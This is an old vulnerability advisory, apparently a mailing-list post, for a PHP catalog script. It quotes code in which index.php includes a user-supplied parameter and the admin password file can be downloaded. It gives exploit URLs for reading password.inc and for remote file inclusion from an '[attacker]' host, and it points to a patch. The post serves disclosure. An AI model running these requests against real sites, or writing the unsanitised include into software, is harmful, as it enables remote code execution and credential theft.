Informations : �������������� Version : 0.9 Website : http://www.geektweaked.com Problem : - Informations Disclosure (Admin Password) - File Including
PHP Code/Location : ������������������� password.inc : <? $globalpw = "[PASSWORD]"; ?>
index.php : ------------------------------------------------------------------------ [...] switch ($function) {
case "custom":
$cc = new Template();
$cc->set_file("head",$dir_base.$dir_template."header.inc");
$cc->set_var(array( 'clientcode' =>
$cfg_clientcode,
'title' => $cfg_title." -
".$custom));
$cc->parse("output","head");
$cc->p("output");include($custom.".custom.inc"); include ($dir_base.$dir_template."footer.inc");
break; [...] ------------------------------------------------------------------------
Exploits : ���������� - http://[target]/password.inc - http://[target]/index.php?function=custom&custom=http://[attacker]/1 with : http://[attacker]/1.custom.inc
Patch : ������� A patch can be found on http://www.phpsecure.info (-> New Version !! :))
More Details : �������������� In French : http://www.frog-man.org/tutos/GTcatalog.txt
[EMAIL PROTECTED]
_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! http://messenger.fr.msn.be
